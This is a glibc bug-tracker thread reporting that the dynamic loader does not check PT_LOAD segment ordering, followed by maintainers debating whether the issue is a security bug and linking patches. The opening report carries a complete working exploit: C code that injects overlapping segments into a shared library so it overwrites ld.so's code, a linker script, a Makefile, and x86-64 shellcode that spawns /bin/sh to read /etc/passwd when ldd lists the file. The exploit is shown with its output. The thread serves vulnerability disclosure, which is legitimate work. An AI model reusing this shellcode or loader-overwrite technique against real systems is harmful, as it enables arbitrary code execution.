ld-linux.so is known library and works as ELF file interpreter. It can load libraries into process with 'dlopen' function or while loading ELF file creating new process. From here http://www.skyfree.org/linux/references/ELF_Format.pdf we can get some info about PT_LOAD: PT_LOAD The array element specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the ‘‘extra’’ bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size may not be larger than the memory size. Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member. What we need here is following constraint: Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member. Unfortunetly in current implementation of GNU Libc there is no any check for this constraint. GNU Libc use MAP_FIXED while loading PT_LOAD segments and man about mmap says: MAP_FIXED Don't interpret addr as a hint: place the mapping at exactly that address. addr must be a multiple of the page size. If the memory region specified by addr and len overlaps pages of any existing mapping(s), then the overlapped part of the existing mapping(s) will be discarded. If the specified address cannot be used, mmap() will fail. Because requiring a fixed address for a mapping is less portable, the use of this option is discouraged. here is important to know that usage of MAP_FIXED may change current process mapping. If attacker can ask ld library to load special crafted ELF file it can get code execution. In this case he even dont need to create special constructor inside this library or call any function from it - he can re-mmap ld library code with his own and successfully execute it after execution of mmap syscall. As Proof of Concept to this vulnerability I prepared exploit for ldd utility - utility that know to not execute any third-party code and just showing needed libraries and memory layout of them. The same error present in the linux kernel code, I've already prepared patch for it and will publish it soon. normal usage: blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main linux-vdso.so.1 => (0x00007ffca0bf6000) libevil.so => ./libevil.so (0x00007f5ade66d000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ade2a3000) /lib64/ld-linux-x86-64.so.2 (0x00007f5ade86f000) specail crafted libevil.so just runs ‘cat /etc/passwd' blackzert@crasher:~/aslur/tests/evil_elf$ ldd main root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin PoC code: #include <elf.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> off_t get_len(int fd) { off_t length = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); return length; } int get_file(char *evilname) { int fd = open(evilname, O_RDWR); if (fd < 0) { printf("Failed to open\n"); return -1; } return fd; } int align(int fd, size_t len, size_t value) { char buffer[4096] = {0}; size_t rest = value - (len & (value - 1)); while ( rest > 4096) { write(fd, buffer, 4096); rest -= 4096; } write(fd, buffer, rest); return 0; } int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char* overlay, unsigned long overlay_len) { Elf64_Ehdr header = {0}; int size = read(fd, &header, sizeof(header)); if (size < sizeof(header)) { printf("read failed\n"); return -1; } if (header.e_ident[EI_CLASS] != ELFCLASS64) { printf("Not elf64\n"); return -1; } if (header.e_phentsize != sizeof(Elf64_Phdr)) { printf("unknown phdr struct\n"); return -1; } unsigned long ph_size = header.e_phnum * header.e_phentsize; header.e_phnum += new_count; off_t off = lseek(fd, 0, SEEK_SET); if (off == (off_t)-1) { printf("bad ph_off\n"); return -1; } size = write(fd, &header, sizeof(header)); if (size != sizeof(header)) { printf("failed to write header\n"); return -1; } off = lseek(fd, ph_size + header.e_phoff, SEEK_SET); if (off == (off_t)-1) { printf("bad ph_off\n"); return -1; } size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr)); if (size != new_count*sizeof(Elf64_Phdr)) { printf("write failed, file corrupted. sorry\n"); return -1; } off = lseek(fd, 0, SEEK_SET); if (off == (off_t)-1) { printf("failed go to start"); return -1; } off = lseek(fd, 0, SEEK_END); if (off == (off_t)-1) { printf("failed to seek to end\n"); return -1; } align(fd, off, new_heades[0].p_align); return 0; } char shellcode[4096]; unsigned long libc_size = 0x26000; int main() { int scfd = get_file("shellcode.bin"); off_t sc_len = get_len(scfd); read(scfd, shellcode, sc_len); int fd = get_file("libevil.so"); if (fd < 0) printf("failed open\n"); off_t off = get_len(fd); if (off == (off_t)-1) { printf("failed get len\n"); close(fd); return -1; } Elf64_Phdr new_headers[2]; new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite ld r-x segment new_headers[0].p_flags = PF_X|PF_R|PF_W; new_headers[0].p_offset = off + (4096 - (4095&off)); new_headers[0].p_vaddr = 0x400000; new_headers[0].p_paddr = 0; new_headers[0].p_filesz = libc_size; new_headers[0].p_memsz = 0x200000; new_headers[0].p_align = 4096; if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset) & (new_headers[0].p_align - 1)) != 0 ) { printf("ELF load command address/offset not properly aligned\n"); return -1; } new_headers[1].p_type = PT_LOAD; new_headers[1].p_flags = PF_X|PF_R|PF_W; new_headers[1].p_offset = 0; new_headers[1].p_vaddr = 0x200000; new_headers[1].p_paddr = 0; new_headers[1].p_filesz = 0; new_headers[1].p_memsz = 0x200000; new_headers[1].p_align = 0x200000; int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len); char buffer[4096]; memset(buffer, 0x90, 4096); unsigned long size = libc_size; while(size > 4096) { write(fd, buffer, 4096); size -= 4096; } memcpy(buffer + 4095 - sc_len, shellcode, sc_len); write(fd, buffer, 4096); close(fd); return res; } This code adds to ‘libevil.so’ 2 new segments - one with shellcode that overwrites r-x segment of ld and second to be last one. To make everything happens, special linker script is needed: OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") OUTPUT_ARCH(i386:x86-64) ENTRY(_start) SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib"); SECTIONS { . = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS; .text : { *(.text) } .rela.plt : { *(.rela.plt) } .dynamic : { *(.dynamic) } .got : { *(.got) } .got.plt : { *(.got.plt) *(.igot.plt) } .data : { *(.data) } /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) } } this one just adds extra space to allow us extend program header of libevil.so main.c: #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> extern int evil(); char buffer[16536]; int main() { evil(); int fd = open("/proc/self/maps", 0); int size = read(fd, buffer, sizeof(buffer)); if (size > 0) write(0, buffer, size); return 0; } evil.c: #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int evil() { printf("Hello world!\n"); return 0; } and Makefile all: gcc -fPIC -shared evil.c -o libevil.so gcc main.c -levil -L. -o main -Wl,-rpath,./ gcc make_evil.c -o make_evil -g evil: all nasm -fbin shellcode.asm -o shellcode.bin gcc -fPIC -shared evil.c -T evil.script -o libevil.so ./make_evil clean: rm main libevil.so gdb: gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so list: /lib64/ld-linux-x86-64.so.2 --list ./libevil.so shellcode.asm: bits 64 push 59 pop rax ; rax=sys_execve cdq ; penv=0 mov rcx, '/bin//sh' push rdx ; 0 push rcx ; "/bin//sh" push rsp pop rdi ; rdi="/bin//sh", 0 ; --------- push rdx ; 0 push word '-c' push rsp pop rbx ; rbx="-c", 0 push rdx ; NULL jmp l_cmd64 r_cmd64: ; command push rbx ; "-c" push rdi ; "/bin//sh" push rsp pop rsi ; rsi=args syscall l_cmd64: call r_cmd64 db 'cat /etc/passwd', 0
Thanks for reporting this. ldd is not intended to be executed on untrusted binaries, so this is not a security vulnerability. This is not the only issue with ldd. Bug 20857 demonstrates that the initial file mapping (and not just PT_LOAD segments) can override the dynamic linker. (The PT_LOAD approach discussed here works reliably because the kernel does not independently randomize the address of file mappings, even without MAP_FIXED.)
Hello, This bug is about bad parsing of ELF files, but not about position-dependent executables. The problem of https://sourceware.org/bugzilla/show_bug.cgi?id=20857 is Constantly-defined address from ELF file header used to re-mmap existing segments (libc in this case). This is attended more to kernel behaviour and mmap itself, that allows to re-mmap existing mapping. Good description of this problem could be found here: https://lwn.net/Articles/741335/ And this bug hopefully would be fixed when MAP_FIXED_SAFE will by applied. And libc should also support this flag as well. This bug is about how ld parse ELF file segments - it doesn't check order of segments and compute total size of ELF file wrong in some cases. Exploiting ldd is just an example of it and it has security impact. As you said, ldd not intended to run untrusted files. But intended is not the same as prohibited. ldd will never ask's you if you sure what are you doing. Here http://man7.org/linux/man-pages/man1/ldd.1.html it is said about security of ldd: Security Be aware that in some circumstances (e.g., where the program speci‐ fies an ELF interpreter other than ld-linux.so), some versions of ldd may attempt to obtain the dependency information by attempting to directly execute the program, which may lead to the execution of whatever code is defined in the program's ELF interpreter, and per‐ haps to execution of the program itself. (In glibc versions before 2.27, the upstream ldd implementation did this for example, although most distributions provided a modified version that did not.) That leaves a reasonable question - does 2.27 version of libc checks interpreter name? If yes, is it safe? No, because libld can't parse ELF file's properly. ldd exploit is one of impacts. Here is another impacts: • Obfuscation or anti-emulation: - Remapping the current ELF segment by the next loaded library - Code executed not only from the library entry point, constructors, or export functions • Cheating with binary-analysis tools: - rabin2 from radare2 crashed calling dlopen • Maybe more? And all these examples are about security. And this bug is also about security.
(In reply to Ilya Smith from comment #2) > And all these examples are about security. And this bug is also about > security. The dynamic loader assumes all binaries on disk are trusted. Therefore the issue is a hardening feature (from the perspective of the glibc project) for using untrusted binaries and must be balanced against performance. At present we do nothing to harden the loader against untrusted binaries. To inspect untrusted binaries you must use libelf or libbfd. Therefore this is marked security-, it is not a security issue.
> If attacker can ask ld library to load special crafted ELF file it can get code execution It seems to me that creating a specially crafted ELF is a complicated way to achieve what can be *trivially* achieved by creating a DSO with an initializer (DT_INIT). If you can ask for "random" DSO to be loaded, then that DSO's initializer can do *anything*, and you've already lost. I think this bug should be closed as invalid.
(In reply to Paul Pluzhnikov from comment #4) > > If attacker can ask ld library to load special crafted ELF file it can get code execution > > It seems to me that creating a specially crafted ELF is a complicated way to > achieve what can be *trivially* achieved by creating a DSO with an > initializer (DT_INIT). > > If you can ask for "random" DSO to be loaded, then that DSO's initializer > can do *anything*, and you've already lost. > > I think this bug should be closed as invalid. This case just an example, you never know how exactly it will be used. DSO's initialisers could be checked since everyone knows about it. This bug is not invalid, since it is exists in the code and works as described. You can not reject reality. You may say "Risks of the bug exploitation are very low" and I agree. But you can't say "there is no bug".
Copying from https://bugzilla.redhat.com/show_bug.cgi?id=1773916#c4 from completeness: glibc assumes loadable segment entries (PT_LOAD) in the program header table appear in ascending order, sorted on the p_vaddr member. While loading a library, function _dl_map_segments() in dl-map-segments.h lets the kernel map the first segment of the library anywhere it likes, but it requires a large enough chunk of memory to include all the loadable segment entries. Considering how mmap works, the allocation happens to be close to other libraries and to the ld-linux loader segments. However, if a library is created such that the first loadable segment entry is not the one with the lowest Virtual Address or the last loadable segment entry is not the one with the highest End Virtual Address, it is possible to make ld-linux wrongly compute the overall size required to load the library in the process' memory. When this happens, the malicious library can easily overwrite other libraries that were already loaded. While a malicious library can already easily execute code (e.g. with constructors) when a program uses it, it should not be possible to execute code while listing the dependencies of an ELF file.
Patch posted: https://www.sourceware.org/ml/libc-alpha/2019-12/msg00018.html
Hi, how about this patch? It will return error when loading invalid segments. https://sourceware.org/ml/libc-alpha/2020-02/msg00113.html
(In reply to Zhipeng Xie from comment #8) > Hi, how about this patch? It will return error when loading invalid segments. > > https://sourceware.org/ml/libc-alpha/2020-02/msg00113.html Please see my thoughts here: https://www.sourceware.org/ml/libc-alpha/2019-12/msg00634.html https://www.sourceware.org/ml/libc-alpha/2020-02/msg00385.html I don't think the proposed patches are correct, sorry.